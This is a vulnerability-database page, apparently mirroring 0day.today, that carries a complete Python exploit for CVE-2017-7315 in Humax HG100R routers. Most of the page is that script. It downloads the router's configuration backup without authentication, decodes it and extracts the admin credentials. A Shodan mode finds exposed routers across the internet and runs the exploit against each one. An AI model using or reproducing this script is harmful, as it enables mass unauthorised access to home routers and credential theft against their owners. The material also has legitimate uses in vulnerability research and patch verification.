Lucene search
+L

Humax HG100R 2.0.6 - Backup File Download Exploit

πŸ—“οΈΒ 30 Jun 2017Β 00:00:00Reported byΒ gamblerTypeΒ 
zdt
Β zdt
πŸ”—Β 0day.todayπŸ‘Β 64Β Views

Humax HG100R Backup File Download Exploit VER 2.0.

Related
Code
ReporterTitlePublishedViews
Family
cnvd
CNVD
Humax Digital HG100R Backup File Download Vulnerability
4 Jul 201700:00
–cnvd
cve
CVE
CVE-2017-7315
4 Jul 201702:00
–cve
cvelist
Cvelist
CVE-2017-7315
4 Jul 201702:00
–cvelist
exploitdb
Exploit DB
Humax HG100R 2.0.6 - Backup File Download
30 Jun 201700:00
–exploitdb
euvd
EUVD
EUVD-2017-16342
7 Oct 202500:30
–euvd
exploitpack
exploitpack
Humax HG100R 2.0.6 - Backup File Download
30 Jun 201700:00
–exploitpack
nvd
NVD
CVE-2017-7315
4 Jul 201702:29
–nvd
openvas
OpenVAS
HUMAX Gateway Backup File Download Vulnerability
3 Jul 201700:00
–openvas
osv
OSV
CVE-2017-7315
4 Jul 201702:29
–osv
packetstorm
Packet Storm
Humax Digital HG100R 2.0.6 XSS / Information Disclosure
3 Jul 201700:00
–packetstorm
Rows per page
# coding: utf-8
 
# Exploit Title: Humax Backup file download
# Date: 29/06/2017
# Exploit Author: gambler
# Vendor Homepage: http://humaxdigital.com
# Version: VER 2.0.6
# Tested on: OSX Linux
# CVE : CVE-2017-7315
 
import sys
import base64
import shodan
import requests
import subprocess
 
def banner():
    print '''
 β–ˆβ–ˆβ–‘ β–ˆβ–ˆ  β–ˆ    β–ˆβ–ˆ  β–ˆβ–ˆβ–ˆβ–„ β–„β–ˆβ–ˆβ–ˆβ–“ β–„β–„β–„      β–’β–ˆβ–ˆ   β–ˆβ–ˆβ–’
β–“β–ˆβ–ˆβ–‘ β–ˆβ–ˆβ–’ β–ˆβ–ˆ  β–“β–ˆβ–ˆβ–’β–“β–ˆβ–ˆβ–’β–€β–ˆβ–€ β–ˆβ–ˆβ–’β–’β–ˆβ–ˆβ–ˆβ–ˆβ–„    β–’β–’ β–ˆ β–ˆ β–’β–‘
β–’β–ˆβ–ˆβ–€β–€β–ˆβ–ˆβ–‘β–“β–ˆβ–ˆ  β–’β–ˆβ–ˆβ–‘β–“β–ˆβ–ˆ    β–“β–ˆβ–ˆβ–‘β–’β–ˆβ–ˆ  β–€β–ˆβ–„  β–‘β–‘  β–ˆ   β–‘
β–‘β–“β–ˆ β–‘β–ˆβ–ˆ β–“β–“β–ˆ  β–‘β–ˆβ–ˆβ–‘β–’β–ˆβ–ˆ    β–’β–ˆβ–ˆ β–‘β–ˆβ–ˆβ–„β–„β–„β–„β–ˆβ–ˆ  β–‘ β–ˆ β–ˆ β–’
β–‘β–“β–ˆβ–’β–‘β–ˆβ–ˆβ–“β–’β–’β–ˆβ–ˆβ–ˆβ–ˆβ–ˆβ–“ β–’β–ˆβ–ˆβ–’   β–‘β–ˆβ–ˆβ–’ β–“β–ˆ   β–“β–ˆβ–ˆβ–’β–’β–ˆβ–ˆβ–’ β–’β–ˆβ–ˆβ–’
 β–’ β–‘β–‘β–’β–‘β–’β–‘β–’β–“β–’ β–’ β–’ β–‘ β–’β–‘   β–‘  β–‘ β–’β–’   β–“β–’β–ˆβ–‘β–’β–’ β–‘ β–‘β–“ β–‘
 β–’ β–‘β–’β–‘ β–‘β–‘β–‘β–’β–‘ β–‘ β–‘ β–‘  β–‘      β–‘  β–’   β–’β–’ β–‘β–‘β–‘   β–‘β–’ β–‘
 β–‘  β–‘β–‘ β–‘ β–‘β–‘β–‘ β–‘ β–‘ β–‘      β–‘     β–‘   β–’    β–‘    β–‘
 β–‘  β–‘  β–‘   β–‘            β–‘         β–‘  β–‘ β–‘    β–‘
    '''
    print 'Description: Humax HG100R backup file download'
    print 'Software Version: VER 2.0.6'
    print 'SDK Version: 5.7.1mp1'
    print 'IPv6 Stack Version: 1.2.2'
    print 'Author: Gambler'
    print 'Vulnerability founded: 14/03/2016'
    print 'CVE: waiting'
    print
 
def xplHelp():
    print 'Exploit syntax error, Example:'
    print 'python xpl.py http://192.168.0.1'
 
def exploit(server):
    path = '/view/basic/GatewaySettings.bin'
    if not server.startswith('http'):
        server = 'http://%s' % server
    if server.endswith('/'):
        server = server[:-1]+''
    url = '%s/%s' %(server,path)
    print '[+] - Downloading configuration file and decoding'
    try:
        r = requests.get(url, stream=True,timeout=10)
        for chunk in r.iter_content(chunk_size=1024):
            if chunk:
                rawdata = r.content
        save(rawdata)
    except:
        pass
 
def save(rawdata):
    config = base64.b64decode(rawdata).decode('ascii','ignore').replace('^@','')
    open('config.txt', 'w').write(config)
    print '[+] - Done, file saved as config.txt'
    infos = subprocess.Popen(["strings config.txt | grep -A 1 admin"], shell=True,stdout=subprocess.PIPE).communicate()[0]
    print '[+] - Credentials found'
    print infos
 
def shodanSearch():
    SHODAN_API_KEY = "SHODAN_API_KEY"
    api = shodan.Shodan(SHODAN_API_KEY)
    try:
            results = api.search('Copyright Β© 2014 HUMAX Co., Ltd. All rights reserved.')
            print 'Results found: %s' % results['total']
            for result in results['matches']:
                    router = 'http://%s:%s' % (result['ip_str'],result['port'])
                    print router
                    exploit(router)
    except shodan.APIError, e:
            print 'Error: %s' % e
 
 
if __name__ == '__main__':
 
    if len(sys.argv) < 2:
        xplHelp()
        sys.exit()
    banner()
    if sys.argv[1] == 'shodan':
        shodanSearch()
    else:
        exploit(sys.argv[1])

#  0day.today [2018-04-09]  #

Data

Build on a solid foundation withΒ Vulners data

WeΒ provide theΒ essential building blocks forΒ cybersecurity solutions withΒ comprehensive, structured, andΒ constantly updated vulnerability andΒ exploits data

Api

Power your application withΒ Vulners API

The Vulners REST API offers reliable, high-performance access toΒ vulnerabilityΒ intelligence, withΒ 99.9%Β SLAΒ uptime andΒ CDN-backed data delivery forΒ seamlessΒ global access

App

Assess and manage vulnerabilities withΒ VulnersΒ tools

Built on top of Vulners' database and SDK, end-user solutions give security professionals and developers lightweight and powerful tools for vulnerability remediation